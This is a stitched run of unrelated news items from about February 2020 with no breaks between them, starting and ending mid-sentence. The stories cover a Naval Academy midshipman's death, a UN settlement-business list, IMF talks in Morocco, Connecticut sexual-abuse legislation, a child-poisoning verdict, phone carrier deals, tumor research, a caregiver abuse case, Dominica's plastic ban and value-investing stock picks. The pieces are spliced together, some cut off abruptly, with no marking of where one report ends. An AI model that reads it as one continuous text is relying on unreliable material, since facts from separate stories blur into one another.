second student at the prestigious service academy to pass away in the space of two weeks. The student, whose name has not been released, was found unresponsive inside Bancroft Hall at the Annapolis, Maryland base on Thursday night. A cause of death has not been disclosed, but police have ruled out foul play. According to WUSA9, faculty were informed of the death Thursday night. The Academy's 4,570 students have now also been notified. The Naval Academy, which was founded in 1845, is already reeling from the death of another midshipman on February 8. Duke Carrillo, 21, collapsed and later died during a 1.5-mile run as part of a semi-annual physical test. A midshipman at the US Naval Academy was found dead inside one of the campus' residential halls on Thursday night The student, whose name has not been released, was found unresponsive inside Bancroft Hall (pictured) The prestigious academy shared the sad news on their Twitter account Friday morning Carrillo, who was a native of Flower Mound, Texas, was rushed to Anne Arundel Medical Center after first responders administered CPR. He was pronounced dead at the hospital. Carillo's twin brother, Dylan, and younger brother, Jake, are also students at the US Naval Academy. Last Friday, the 21-year-old was laid to rest in a cemetery on campus. Both brothers gave emotional speeches during Carrillo's funeral, with Jake telling mourners: 'I thought I would only have to be giving this speech at his wedding, but that just shows you how fragile life is'. Twin brother Dylan emotionally revealed that he held his brother's hand as he died. 'I was there for my brother from the day he was born until his final moments on this earth, and I would not have wanted it any other way. 'Duke had taken half of me with him then I had taken half of him with me. I will carry both of us through life, and I will live as if tomorrow is my last day.' Duke Carrillo, 21, of Flower Mound, Texas, died last week at the US Naval Academy From left: Brothers Dylan Carrillo, Jake Carrillo, and Duke Carrillo pose at the United States Naval Academy in Annapolis The physical readiness test Carrillo was undertaking is a twice-a-year physical fitness assessment that the academy requires its students to pass in order to graduate. The goal of the assessment is to 'develop midshipmen morally, mentally, and physically' for service in the Navy and the Marine Corps. In order to achieve a 'minimum passing score,' students must be able to do 65 curl-ups within a span of two minutes, 45 push-ups within a span of two minutes, and complete a 1.5-mile run within 10 minutes and 30 seconds. Female students must perform the same amount of curl-ups as their male counterparts, though they are required to do 20 push-ups within two minutes and to complete the 1.5-mile run in 12 minutes and 40 seconds. Last year, the Navy ordered sailors to closely monitor enlistees who were put through the rigorous fitness test after four sailors, including two young female recruits, died within a 12-month period after collapsing during the assessments. The United Nations Human Rights Council has released a list of more than 100 companies it says are operating in Israeli communities in Judea and Samaria. In a report issued on Wednesday, the council said that the activities of these companies raised particular human rights concerns. The list is dominated by Israeli companies, including banks and construction firms. However, it also lists a number of international firms, including travel companies Airbnb, Expedia, and TripAdvisor, tech giant Motorola, and construction and infrastructure companies including Frances Egis Rail and a British company, JC Bamford Excavators. Ironically, Airbnb announced in 2018 that it would prohibit listing Jewish-owned homes in Judea and Samaria on its website but later reversed its decision before it was even implemented. In January 2019, Amnesty International issued a report, calling on the Airbnb, Booking.com, Expedia, and TripAdvisor digital booking sites to refrain from conducting business in areas captured by Israel in the 1967 war. At the time, Israels Public Security and Strategic Affairs Minister Gilad Erdan responded with a tweet charging that Amnesty has become a leader in the anti-Semitic BDS campaign. In the past, UN human rights chief Michelle Bachelet had delayed publication of a report on companies doing business in Israeli communities in Judea and Samaria. Certain critics compared the UN blacklist to the Nazi boycott of Jewish businesses in Germany in the 1930s. Working at the behest of the notorious UN Human Rights Council, the UN Office for the High Commissioner for Human Rights has officially decided to endorse anti-Semitic BDS by issuing a defamatory list of companies it claims are supposedly involved in settlement activity, charged NGO Monitor on Wednesday. These companies have done nothing wrong and many are involved in providing goods and services to Palestinians pursuant to the Oslo Accords, said NGO Monitor Legal Advisor Anne Herzberg in a statement. This list was made in conjunction with pro-BDS and PFLP-linked NGOs, she added. The PFLP is the Popular Front for the Liberation of Palestine, designated a terrorist organization by the United States, Japan, Canada, Australia, and the European Union, as well as Israel. Herzberg called on countries targeted by the publication of the blacklist, particularly Israel and the United States, to reassess their relationships with Commissioner Bachelets office, including cancelling all cooperation and the millions of dollars and euros provided to her each year in funding. The maligned companies should begin assessing plans to take legal action against the UN officials who prepared the list and those who will propagate its false claims. On Wednesday evening, the Israeli Foreign Ministry tweeted that the UN human rights commissioners announcement regarding the publication of a blacklist of companies represents the ultimate surrender to pressure exerted by countries and organizations interested in harming Israel. The Associated Press contributed to this report. Source: Xinhua| 2020-02-20 04:37:06|Editor: huaxia Video Player Close International Monetary Fund (IMF) Managing Director Kristalina Georgieva speaks during a joint press conference in Rabat, Morocco, on Feb. 20, 2020. Officials from the International Monetary Fund and Morocco held talks on Wednesday in Rabat on the preparations for the annual meetings of the IMF and the World Bank scheduled for October 2021 in Marrakech. (Xinhua) RABAT, Feb. 19 (Xinhua) -- Officials from the International Monetary Fund (IMF) and Morocco held talks on Wednesday in Rabat on the preparations for the annual meetings of the IMF and the World Bank scheduled for October 2021 in Marrakech. The IMF Managing Director Kristalina Georgieva told the press after talks with Moroccan Minister of Economy and Finance Mohamed Benchaaboun that Marrakech, a city rich in history and culture, will be the financial capital of the world for a week in October, 2021. The 2021 Annual Meetings will provide Morocco with the opportunity to highlight the reforms undertaken as well as the timely regional issues and the inclusive growth in the region, she added. "We are impressed by Morocco's determination to pursue its major structural reforms so that its economy can meet the aspirations of the Moroccan people," she said. For his part, Benchaaboun said that the IMF has regularly issued notes showing that Morocco is moving in the right direction, particularly with regard to debt sustainability. Since 2012, Morocco has reiterates the Precautionary and Liquidity Line (PLL), he said, adding that it serves as an additional guarantee that allows the country to address external shocks. This line, which Morocco never intends to use, has helped to ensure that the main international donors have confidence in the country, he said. Ariel Couto, Brokerslink Americas regional manager, will lead the steering team. The team is composed of: Shawn DeSantis, president and CEO of Navacord, Canada Estela Lusky, vice-president/account executive international, Alliant Insurance Services, USA Esteban Sanchez, CEO of Grupo Artai, Argentina Juan Mario Acevedo, president, Correcol, Colombia Giulio Valz-Gen, CEO, Contacto, Peru The team members represent the diverse experience and expertise that Brokerslinks partners and affiliates have across the Americas but we have a common goal; to build a stronger Brokerslink in this important and strategic region, said Couto in a statement. Couto added that the creation of the steering team is another important step forward for the company in coordinating its activities, as well as supporting partners and affiliates, to find and build on cross border and global business opportunities. The steering team will be critical in driving collaboration, awareness and sharing of best practices across Brokerslink, commented Shawn DeSantis. Working together, the team will provide the vision and the guidance for front line teams of regional brokers, which will guarantee the success of Brokerslink Americas. HARTFORD Survivors of sexual abuse were heartbroken to learn Thursday that the Judiciary Committee has no plans to raise legislation that would eliminate the civil statute of limitations for sexual assault. Lynn Laperle, a survivor and member of the Statutes of Limitations Regarding Sexual Abuse, Sexual Exploitation and Sexual Assault Task Force, said that on one hand theyre being told to speak up, but when we finally do say something no one really wants to hear it. I get that listening to victim and survivor testimony in regards to sexually violent crimes committed against them can be very difficult to hear and it can be emotionally draining to those members on the committees, but can you imagine how difficult it is for survivors and victims to come forward and to have to relive these horrible crimes committed against them? Laperle said. Laperle said she came forward to tell her story after learning that her predator molested another little girl. It was then that I realized that I wasnt his only victim, Laperle said. And needed to say something so no one else would be victimized by this predator. Getting rid of the statute of limitations was a priority of the Senate Democratic caucus, but Sen. Mae Flexer said Friday is the deadline for the Judiciary Committee to raise concepts and the elimination of civil statutes of limitation is not on the agenda. Flexer said victims of sexual abuse have been speaking to lawmakers for months and years about this issue. It is devastating that they have chosen to not at least give this bill a public hearing, Flexer said. Laperle said she cant imagine any reason not to raise the bill this year. Sen. Gary Winfield, who co-chairs the Judiciary Committee, said he supports the legislation, but hes not the only one who makes the decisions about what legislation goes forward. He said the ranking Republican members of the committee are part of that conversation and there wasnt a desire to move forward with the legislation this year. Others felt the issue had recently been addressed. Last year, the General Assembly passed a bill that extended the statute of limitations for forced rape or rape by drugs from five years to 20 years. The statute of limitations would also be extended for things like unwanted touching from one year to 10 years. It also eliminated the criminal statute of limitations for all children and if a victim was 18, 19, or 20, the statute of limitations would be 30 years following the victims 21st birthday, effectively the victims 51st birthday. He said it was difficult in the crush of other business and in negotiations with other parties and caucuses to make that bill move forward. He said he knows theres not going to be an answer that makes survivors feel better about the situation. Its just one of those things, he added. Rep. Steve Stafstrom, the other Judiciary Committee co-chair, echoed the comments. With respect to this important and sensitive issue, it should be noted that the Judiciary Committee led passage of significant changes to both the civil and criminal statutes of limitations just last session, Stafstrom said in a statement. He said the elimination of the statute of limitations altogether and retroactively is controversial. In this short legislative session, the calendar only allows for the Judiciary Committee to hold between 8 and 10 public hearings, Stafstrom said. Unfortunately, that means not every worthwhile or important topic can get a full airing. In fact, the Committee is only raising around 30% of the ideas or concepts that were proposed to us. With that said, we hope to discuss further changes to the statute of limitations in a future legislative session. Lucy Nolan, director of policy and public relations for the Connecticut Alliance to End Sexual Violence, said ignoring this issue gives protection to predators. The people who have power are speaking and those of us who want to take back our power are being left voiceless, Nolan said. One of the survivors of clergy sexual abuse said the church still has power and has been lobbying against raising this legislation for months. Each time an institution cries that eliminating the civil statute of limitations for sexual assault will bankrupt them, they admit guilt, survivors wrote in a letter to lawmakers. There is no evidence verifying the arguments that eliminating a civil statute of limitations will increase the costs to the state, inundate our courts, or result in false claims, or engender dubious cases due to the lack of evidence. Nolan said in states that have eliminated the statute of limitations, there hasnt been a flood of lawsuits. She said in 2020, 12 states have introduced legislation to eliminate the statutes of limitations for childhood sexual abuse. The task force voted unanimously to retroactively eliminate the statute of limitations for childhood sexual abuse, as well as all others forms of sexual abuse. S hopping centres giant Hammerson on Friday agreed a cut-price 400 million deal to exit the troubled retail parks market. The firm behind the Brent Cross centre said it has offloaded a package of seven sites, including in Oxfordshire and Warwickshire, to investor Orion European Real Estate Fund. The price is 22.8% lower than what they were valued at in June 2019, and means Hammerson has quit the retail parks market. The discount comes as landlords battle the UK retail property crisis. They have suffered from tenants closing shops or demanding rent cuts through restructuring processes. Competition from online retailers has also hammered the sector, resulting in UK retail parks valuations plummeting as much as 27% in the past year. Hammersons deal, the largest UK retail parks portfolio sale in the past decade, was announced alongside the disposal of two other retail parks for 55 million to unnamed buyers. It means the company, which is trying to reduce its debt pile 3.1 billion as at last June has made close to 1 billion of disposals since 2019. Chief executive David Atkins said: Against a challenged retail and investment backdrop we have exited the retail parks sector. John Cahill, analyst at Stifel, said: The sale of all the remaining retail parks in one go reduces contagion into the rest of the portfolio valuation, and makes a substantial contribution to reducing leverage, plus exposure to the UK. The shares improved 6.6p to 232.3p. Hammerson unveiled plans to leave retail parks to focus on other parts of its empire in 2018 after it ditched a 3.4 billion swoop for smaller rival Intu. NORTHAMPTON - A Hampshire Superior Court jury on Friday found a 37-year-old Northampton man guilty of attempting to murder his sick daughter in 2015 by injecting her with a drain cleaner. The jury found Christopher Conley guilty on charges of attempted murder, assault and battery on a child by means of a dangerous weapon (opiates) and assault and battery on a child causing substantial bodily injury. He is scheduled to be sentenced on Monday at 9 a.m. The jury began deliberation Thursday afternoon after the defense rested. It returned with a guilty verdict on all three counts early Friday afternoon. The trial lasted 11 days. Conley and his then-wife, Julie Conley of Northampton were charged in 2015 with intentionally harming their daughter when she was 7 years old. He was accused of injecting Liquid-Plumr into her cecostomy tube, which caused significant damage to her intestines. A cecostomy tube is a type of catheter that is used to flush out the intestines. Two days after she was administered the Liquid-Plumr, doctors at the hospital performed surgery on the girl for seven hours, removing two-thirds of her small bowel. She then underwent a second surgery in which part of her bladder was removed. First Assistant District Attorney Steven Gagne, who tried the case, said of Dr. Doruk Ozgediz, the pediatric surgeon who treated the child, should be credited with saving her life. Hes the real hero in this case. Child Abuse Unit Chief ADA Linda Pisano said The child got some justice today, According to the office of Northwestern District Attorney David E. Sullivan, Julie Conley is scheduled to go on trial on March 9. Christopher Conley at the time of his arrest admitted to police that he poisoned his daughter with drain cleaner. The Daily Hampshire Gazette reports that when he took the stand in his trial, he recanted the confession, and said he was put up to confessing by Julie Conley. Following Verizon and AT&T, today T-Mobile has finally revealed its introductory offers for the Samsung Galaxy S20, S20+, and S20 Ultra. The trio is due to go up for pre-order in the States on February 21. First off, the magenta carrier is giving you up to $500 back with a qualifying trade-in. You get the full amount for devices such as Apple's latest (down to the iPhone X), a Samsung flagship (S9 or newer), a Google Pixel 3/3 XL or 4/4XL, or a OnePlus 7 Pro, 7T, 7T Pro 5G McLaren. You only get $300 for older devices (or Google's mid-rangers), and the trade-in value drops to $200 for more ancient handsets. The full list is available at the Via link below. Next up, you get up to $1,000 off the second Galaxy S20 series phone when you buy two. As usual in these cases, the 'free' phone will be the cheaper one, and you have to grab two handsets on installments and add a new line of service. New customers have to add two lines. The $1,000 is applied in the form of bill credits. This part of the deal is also available for the Galaxy Note10 and Note10+, by the way. Finally, Samsung is offering you up to $200 credit for its online store when you pre-order an S20 at T-Mobile. You get $100 if you choose the entry-level S20, $150 if you go with the S20+, and $200 if you pick the S20 Ultra. The new phones will be available in T-Mobile stores on March 6. Just as a reminder, the S20 costs $999, the S20+ is $1,199, and the S20 Ultra goes for $1,399. Source | Via ERIE, Pa. Two women one black and not affluent; one white, wealthy and famous are contrasting faces of Americas debate about equal educational opportunity in grades K through 12. Porschia Anderson, a mother with daughters in kindergarten, fourth and 10th grades here, and parents like her have an enormous stake in Pennsylvania expanding charter schools and supporting other avenues to educational choices. The aim of such measures is for parents of modest, or negligible, means to have alternatives that affluent parents take for granted. Sen. Elizabeth Warren (D-Mass.) is ardent for equality as an abstraction but is even more ardent for the support of public school teachers unions. They are tenacious in defense of their semi-monopoly in primary and secondary education: Just 6 percent of the nations pupils are in charter schools, and only 218,000 (0.39 percent) of the 56.6 million pupils received vouchers. What goes on inside and between individual cells during the very earliest stages of tumor development? Single cell sequencing technologies and a mouse model have enabled researchers to comprehensively map the cellular diversity of whole salivary gland tumors and trace the path of cancer stem cells. Two research teams from the Max Delbruck Center for Molecular Medicine and their collaborators have produced a detailed cell atlas of an entire salivary gland tumor in a mouse model, mapping individual cells throughout the tumor and its surrounding tissue. The "single cell" approach, recently described in Nature Communications, has provided key insights about cellular composition changes through the earliest stages of cancer development. A solid tumor is not, as many might assume, a lump of cells that are all the same. Rather it is mix of many different cell types, including a variety of stromal and immune cells besides the actual tumor cells. "Conventional methods in molecular biology often consider a sample as a whole, which fails to recognize the complexity within it," said Dr. Samantha Praktiknjo, senior scientist and first author from MDC's Systems Biology of Gene Regulatory Elements Lab headed by Professor Nikolaus Rajewsky at the Berlin Institute for Medical Systems Biology (BIMSB). Developing a detailed understanding of the different cells within a tumor and how they interact could help identify more effective treatment strategies. Strength in numbers The team used single-cell RNA sequencing technologies developed in the Rajewsky lab and novel epitope profiling to produce the cell atlas, and identified the cells that were specific to the tumor by leveraging the reproducibility and the large sample size of their data. The latter was possible by using a mouse model, developed in MDC's Signal Transduction in Development and Cancer Lab headed by Professor Walter Birchmeier, which harbors designed mutations that induce a salivary gland squamous cell carcinoma. This system provides a consistent supply of genetically similar tumors to sequence from the earliest stages of development, which is nearly impossible with human patients. "In a patient, the tumor is already developed and you cannot go back and rewind time and look at how it started," said Dr. Benedikt Obermayer, a co-first author now at the Berlin Institute of Health (BIH). "Here, we have a model that is so controlled, we can watch it happen." And Dr. Qionghua Zhu, the third first author and a former postdoc at the Birchmeier Lab, added: "To fight cancer effectively, we need to find the driver mutations. This method gives us clues about the evolution trajectories of a tumor." Sequencing technologies have advanced so that it is now possible to quickly and affordably sequence the RNA inside single cells, one at a time, as well as the proteins on the surfaces of cells in the tissues. While other methods grind up the tissue and identify what genes and molecules are present in the mix, the single cell approach precisely identifies how many of each type of cell is present, and which genes and molecules are associated with which cell. For this study, the researchers sequenced more than 26,000 individual salivary gland cells from mice with tumors and healthy mice. They used computational models to analyze the huge amount of data and identify each individual cell and sort them into groups - such as stromal cells, immune cells, saliva producing cells, cancer cells - based on the hundreds of genes expressed and molecules present. A surprise The single cell approach revealed something that surprised the researchers: "When I saw the data, I thought, where is the tumor?" Obermayer said. The population of cancer stem cells in the tumor was extremely small - less than one percent of all profiled cells in the tissue. Due to their low abundance, investigation of these cells still heavily depends on assumptions about surface markers and is often performed in cell culture-based systems. Here, the authors were able to identify the cancer stem cells directly from the solid tumor samples with their single cell approach. Furthermore, the team was able to predict the progression of the different cell types through different stages of tumor development. Their model suggests that the cancer stem cells emerge from cancerous basal cells, then develop into another subtype before ultimately becoming a population of cells similar to luminal cells, a cell type present in normal, healthy salivary glands. This progression supports the idea that when something goes awry in the basal cells of this solid tumor model, they are triggered to turn into cancer stem cells, which can then become a different type of cell. "What I found fascinating was clearly seeing the order of signals and events, transitioning from the progenitor to the progeny populations of the cancer stem cells," Praktiknjo said. Next steps Further research is required to verify that individual cells are transforming through these stages, and explore the cellular and molecular interactions driving tumor growth. The team anticipates the approach they've demonstrated here can be applied to other cancer types as well. To me the main conceptual insight is that we can apply ideas from single-cell based developmental biology to reconstruct molecular progression of tumorigenesis." Professor Nikolaus Rajewsky, Head of MDC's Systems Biology of Gene Regulatory Elements Lab and scientific director of the BIMSB Scores of devotees on Friday gathered at Lingaraj Temple in Bhubaneswar to offer prayers to Lord Shiva on the occasion of Mahashivratri. The occasion is considered as a major festival as the day marks the marriage of Lord Shiva and Parvati (also known as Shakti). Celebrated in the month of Phalgun (February-March) in accordance with the Hindu calendar, on this day, devotees visit the temple to offer prayers to the Hindu god. "It is a big day for the Hindu dharma-- Mahashivaratri. We just want to have a 'darshan' of the lord, so standing in the queue for hours does not bother us," Samapika, a devotee told ANI. "This happens every year and people from across the country visit the temple on the occasion. It is considered good luck if you get to do 'darshan' of the lord today," she added. Earlier on Friday, President of India, Ram Nath Kovind extended wishes to the people on the occasion. "Greetings and good wishes to all fellow citizens on Mahashivaratri. May the blessings of Lord Shiva bring peace, happiness, and prosperity to everyone's life," the President tweeted. Prime Minister Narendra Modi also took to Twitter to extend wishes to people on the auspicious occasion. "Good wishes to all on Mahashivratri. With the blessings of 'Baba Bholenath' may there be happiness, peace, prosperity and good luck in the life of the country's citizens. Om Namah Shivay!" the prime minister wrote on the micro-blogging site. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Kenner mother was mortified and enraged after she discovered a hired caregiver was physically abusing her son, who has cerebral palsy. Patrick Bowden, 39, was booked Monday with two misdemeanor counts of simple battery of the infirm after Valerie Williams reviewed two days of video from an in-house surveillance camera and saw Bowden elbowing her son, punching him in the head and placing a cloth over his mouth, according to Lt. Michael Cunningham, a spokesman for the Kenner Police Department. But when Williams reviewed several weeks of video recorded in her sons bedroom, she realized the abuse had occurred daily and was more severe than she first thought. I went through every shift (Bowden) worked in February, and not one day did he not inappropriately put his hands on my child, Williams said Thursday. Kenner police rearrested Bowden on Wednesday night and booked him with 10 counts of felony cruelty to the infirm, Cunningham said. Williams said her son, Jeffery, 26, suffered a broken arm during Bowdens overnight shift that ended Monday. The swelling in his arm is what prompted Williams to check the video camera for an explanation. Bowden, a longtime family friend, had been working as an overnight aide for Jeffery Williams since September. Affectionately known as Little Man, Jeffery Williams is nonverbal, uses a wheelchair and cannot feed himself, according to his mother. During night shifts, Bowden was supposed to change and feed him, suction his airways, if needed, and administer treatments and other medication. Top stories in New Orleans in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up But the videos showed Bowden mistreating the 110-pound Jeffery Williams, including picking him up by his neck, aggressively throwing him onto the bed, slapping him and twisting his arm. Hes literally doing this while my husband and I were on the other end of the house, sleeping, Valerie Williams said. When Kenner police questioned Bowden, he admitted abusing Jeffery Williams every day that he worked since September 2019, Cunningham said. Bowden was certified to care for Jeffery Williams through United Cerebral Palsy of Greater New Orleans, an organization that provides support services for the developmentally disabled. Executive Director Kendra Nelson said Bowden was hired at the Williams familys request. He passed all screenings and training. The Williams family was the first hed ever worked for. He was fired from the organization Monday. Kenner police plan to review all the surveillance video of Bowdens care. Based on Bowdens statements, Cunningham said he expects there will be additional charges. Despite her fury, Valerie Williams credits her family with curtailing any darker impulses she may have toward Bowden. I know my son and my grandbabies need me more than anything I could do to Patrick, she said. The "Go Green Dominica" initiative was well received by residents, who proactively adopt eco-friendly habits, like shopping with baskets and boxes, giving up using plastic straws and containers, or using refill packaging. Last year, Dominica banned all single-use plastic and Styrofoam containers. The ban made headlines around the world, praising the small island for its bold move. Moreover, Dominica encourages biodegradable packaging and reusable shopping bags by offering a 0% import duty. "Help Dominica go plastic bag free by reusing these bags again and again," reads the slogan on the distributed bag. A government leaflet also notes "Thank you for helping to preserve our nature island and protect the environment." The Dominican government informs that "jute is a strong, natural fibre, sustainable and environmentally friendly. 100% bio-degradable, you will be able to reuse this shopping bag for many years to come." Furthermore, they ensured that the bags are ethically sourced and produced: "The bags are fully compliant to the Ethical Trading Initiative Base Code (ETI) which is a worldwide standard for ethical production." Widely known as the Nature Isle of the Caribbean, Dominica continues to inspire with policies focused on protecting the environment and becoming the world's first climate-resilient nation, as pledged by Prime Minister Roosevelt Skerrit. After the widespread devastation following category-5 Hurricane Maria in 2017, Dominica has dedicated itself to building back better, introduced a comprehensive plastic ban, is building a geothermal energy plant and is establishing a buoyant ecotourism sector. Dominica embarked on its admirable journey to climate resilience with massive support from the international community, especially from reputable investors who contributed to the island's economy and were awarded Dominican citizenship in return. This was possible via Dominica's world-leading Citizenship by Investment Programme, which continues to provide a safe, secure and legal route to acquire second citizenship. Once they pass all the due diligence checks, applicants can either make a contribution to the Economic Diversification Fund or invest in pre-approved real estate, which comprises eco-conscious luxury hotels. Contact: [email protected] www.csglobalpartners.com SOURCE CS Global Partners Related Links https://csglobalpartners.com Getty Images Peter Lynch, as manager of the Fidelity Magellan Fund (FMAGX) between 1977 and 1990, rode masterful stock picks to outsize gains. FMAGX delivered average annual total returns of more than 29% to fund investors during his 13-year tenure, clobbering the stock market by over 13 percentage points. A $10,000 investment in Fidelity Magellan Fund starting when Lynch took the reins would have grown to nearly $280,000 by the time he departed. Lynch attributed his success to investing principles he shared in One Up on Wall Street and Beating the Street. His overall strategy, based on a few core concepts, is surprisingly simple. A few of the most salient points: Invest in what you know. This is perhaps the most-quoted Peter Lynch saying. Lynch was wary of complex investment stories; he preferred stocks that were readily understandable. Some of Lynch's best ideas came from walking through grocery stores and talking with family and friends. He reasoned that, with consumer spending driving two-thirds of the U.S. economy, products and services desired by most consumers would be good investments, too. Invest in companies with strong foundations. Companies with certain traits make them easier to buy and hold for the long run. On the business side, look for competitive advantages, such as high barriers to entry or efficient scale. Lynch also preferred stocks that had solid cash balances and conservative debt-to-equity ratios. "It's hard to go backward if you have no debt," he once said. Focus on value. Peter Lynch liked value stocks that traded at cheap valuations based on their price-to-earnings (P/E) ratio. However, he also considered growth as part of the equation and thus wouldn't reject a high-P/E stock if it had a high growth rate, too. Lynch is famous for introducing price/earnings-to-growth (PEG), which factors growth into value. He also used a dividend-adjusted PEG ratio, since cash from dividends is part of the total-return equation. Moreover, Lynch coveted strong companies that were undervalued because they operated in out-of-favor industries. Story continues With that in mind, here are 10 stock picks with Peter Lynch qualities. Some of these companies have one or more of the aforementioned traits, while some possess other qualities that the legendary investor prized. Walt Disney Getty Images Market value: $253.4 billion Walt Disney (DIS, $140.37) is a great example of the "invest in what you know" principle. Disney ranked second in brand strength - which includes marketing investment, perceptions of the brand and financial measures representing the brand's success - in Brand Finance's Global 500 2020 report, behind only Ferrari. Tens of millions of visitors come to Disney theme parks every year, but the company's greatest treasure might be its media library. Walt Disney owns the popular Star Wars and Marvel movie franchises, as well as ESPN, ABC and Disney Channel. When it purchased 20th Century Fox's assets, it picked up thousands of films, not to mention the FX station, a 73% stake in National Geographic Partners and 30% of Hulu, which, added to its own stake, gave it majority ownership. As Disney continues to buy up media assets, it's consolidating power within the movie and TV arenas, giving it a powerful competitive advantage. Moreover, Disney now is monetizing its content library via the Disney+ streaming service, with a goal of acquiring 90 million Disney+ subscribers by year-end 2024. That adds recurring revenue, which Lynch also favored. Disney is expanding into retail, too, via a partnership with Target (TGT). It opened 25 stores-inside-a-store in 2019 and is looking to open 40 more by October 2020. Disney is hardly cheap, trading at 22.6 times analysts' estimates for next year's earnings. However, once you factor in growth expectations for next year as well as dividends, you get to a dividend-adjusted PEG of 1.4. Any stock picks with a PEG greater than 1 are technically considered overpriced, but Lynch writes in One Up on Wall Street: "In general, a P/E that's half the growth rate is very positive, and one that's twice the growth rate is very negative." Ultimately, Disney might be a better buy at a slightly cheaper multiple, but it still boasts a fantastic brand and an easy-to-understand business. Cracker Barrel Old Country Store Getty Images Market value: $4.0 billion Cracker Barrel Old Country Store (CBRL, $166.53) is another brand familiar to nearly every American, and another company that falls under Peter Lynch's penchant for easy-to-understand businesses. Cracker Barrel owns 660 restaurants across 45 states, offering budget-friendly homestyle meals and a country store-themed concept. CBRL is expanding its foothold in the breakfast segment, which has represented nearly 60% of restaurant industry growth in recent years. It acquired Maple Street Biscuit Company, which operates 33 breakfast and lunch restaurants across seven states, for $36 million in October 2019. Cracker Barrel also will rebrand its seven Holler & Dash breakfast locations as Maple Street Biscuit restaurants. Cracker Barrel also plans to reach millennial and Generation Z customers via its non-controlling interest in Punch Bowl Social, a new restaurant concept with 18 locations in 12 states, as of September 2019, and plans to add another 10 this year. Punch Bowl Social combines a made-from-scratch menu and craft beverages with a social gaming experience. It was named one of Fast Company's Top 50 Innovative Companies in 2019 and a Nation's Restaurant News Hot Concept in 2018. CBRL shares trade at 16.6 times future earnings, which is less expensive than the market. Cracker Barrel's growth projections aren't torrid - analysts estimate 7% profit growth next year - but it does offer a 3.2% yield at current prices. That translates into a 1.6 dividend-adjusted PEG, which is a little on the expensive side, but not grossly overpriced. One thing worth mentioning, however, is that Cracker Barrel does have high debt of $485 million versus just $43 million in cash - a no-no among Peter Lynch stock picks. Investors might want to consider waiting for a cheaper price, and for CBRL to pay off more debt. Amazon.com Getty Images Market value: $1.1 trillion Amazon.com (AMZN, $1,777.17) has been famously expensive, by pure P/E, for most of its publicly traded life. Of course, that's never really interfered with the company's ludicrous growth ramp over its history, including a 1,700%-plus return over the past decade. The problem is, P/E alone doesn't tell you much when you're dealing with this kind of growth. For instance, right now, AMZN shares trade at 52.7 times next year's earnings expectations - nearing triple the 19.4 investors are paying for the S&P 500 collectively. Factor in growth, however, and the stock looks more reasonable. Amazon boasts a PEG of just 1.3 once you consider analysts' projections for a nearly 40% jump in profits next year. As for the business itself? Amazon has defined, and redefined, the online shopping experience. Its Amazon Prime service, rather than simply being a delivery upsell, also offers music and video - which the company can deliver via its growing assortment of Echo smart speakers. It has an extensive network of more than 175 fulfillment centers worldwide, and it's expanding its delivery fleet to become even less reliant on other carriers. Amazon is leveraging that distribution strength to push into the grocery delivery business, positioning it to compete with the likes of Kroger (KR) and Walmart (WMT). Not to mention, its Amazon Web Services is the leader among cloud providers, and gives the company a much-needed high-margin business that helps it squeeze out competitors in the lower-margin retail space. AMZN even holds a spot among Berkshire Hathaway's (BRK.B) growing portfolio of Warren Buffett stocks. The Oracle of Omaha entered a position in Amazon during the first quarter of 2019 and added to his stake during the following quarter. Delta Air Lines Getty Images Market value: $37.4 billion Delta Air Lines (DAL, $58.38) is a firmly undervalued company. This leading U.S. air carrier boasts a 17% of the domestic air market and a growing international business. It has ranked No. 1 in the Business Travel News annual airline survey eight years in a row. While many competing carriers have been forced to cancel flights due to issues with Boeing's (BA) Max 737 aircraft, Delta Air Lines doesn't have a single Max 737 in its fleet. The company recently expanded its international presence by acquiring a 20% stake in Latin America's largest airline, LatAm Airlines Group (LTM). Delta Air Lines also has stakes in Korean Air, Canadian WestJet and Aeromexico, Mexico's top airline. Delta also has promised investors that a recently renewed partnership with American Express (AXP) could reap up to $7 billion in high-margin revenues by 2023. Profits in the airline space can be a crap shoot given fluctuating fuel costs, but Delta reported a 21.1% jump in profits for full-year 2019, on revenues that improved by nearly 6%. Those revenues, by the way, have been steadily on the rise for years. DAL shares currently trade at a tiny 7.2 times forward-looking earnings estimates. That's slightly more than the 8% profit growth analysts are looking for next year. Factor in a market-beating 2.8% dividend yield, and you get an attractive dividend-adjusted PEG of 0.7. Argus analyst John Staszark recently upgraded DAL from Hold to Buy and gave it a $76 price target, citing fleet upgrades, share buybacks, a strong balance sheet and cash flow among the stock's positive drivers. Just note the potential short-term turbulence for DAL (and most stock picks in the travel space, for that matter) depending on the length and severity of the coronavirus outbreak. SEE ALSO: The 20 Best Stocks to Buy for 2020 Royal Caribbean Cruises Getty Images Market value: $23.0 billion Speaking of the COVID-19 coronavirus ... Peter Lynch liked strong players in out-of-favor industries, and on that basis, he might like Royal Caribbean Cruises (RCL, $109.80) right now. Royal Caribbean owns four global cruise ship brands (Royal Caribbean International, Celebrity Cruises, Azamara and Silversea Cruises) as well as stakes in a German cruise brand (TUI Cruises) and a Spanish brand (Pullmantur Cruceros). Its fleet of 63 ships make calls on all seven continents and Royal Caribbean Cruises has another 13 vessels on order. RCL shares have plunged more than 17% year-to-date, however, largely because of COVID-19 fears. The world's largest coronavirus outbreak outside of China (so far) occurred onboard a Princess Cruises ship that sails out of Japan. Royal Caribbean, meanwhile, said the virus would eat into its 2020 earnings amid cruise cancellations and other disruptions. Of course, this is the same Royal Caribbean that has beaten consensus analyst EPS estimates for 19 quarters in a row. Those are strong operations that bode well for whenever it emerges from its current issues - indeed, RCL might be a deep bargain lying in wait. Royal Caribbean's stock, which already looked value-priced to start 2020, trades at an already low 9.1 times next year's earnings estimates, which include expectations for 16.3% year-over-year growth. RCL also pays a modest dividend that yields 2.8% currently. The result is a bargain-priced PEG of just 0.4 that Peter Lynch would call "very positive." However, Royal Caribbean could become even cheaper in the short-term. Several analysts have downgraded the stock of late, including CFRA's Tuna Amobi, who slashed his rating from Buy to Sell. "With the geopolitical fallout of the outbreak seemingly intensifying in the past week, we now see a potentially significant downside to RCL's '20 financial targets," Amobi writes. Fresenius Medical Care Courtesy Nashville Area Chamber of Commerce via Flickr Market value: $19.6 billion Peter Lynch liked stock picks that generate recurring revenues and provide essential services; one such company is Germany-based Fresenius Medical Care (FMS, $32.78), which provides vital dialysis services to patients worldwide through its roughly 4,000 clinics. Indeed, Fresenius is the world's leading provider of dialysis services and dialysis equipment. Fresenius dealt with a difficult 2019 that saw net income drop from 1.98 euros per share to 1.20 euros. However, there were several moving parts including the 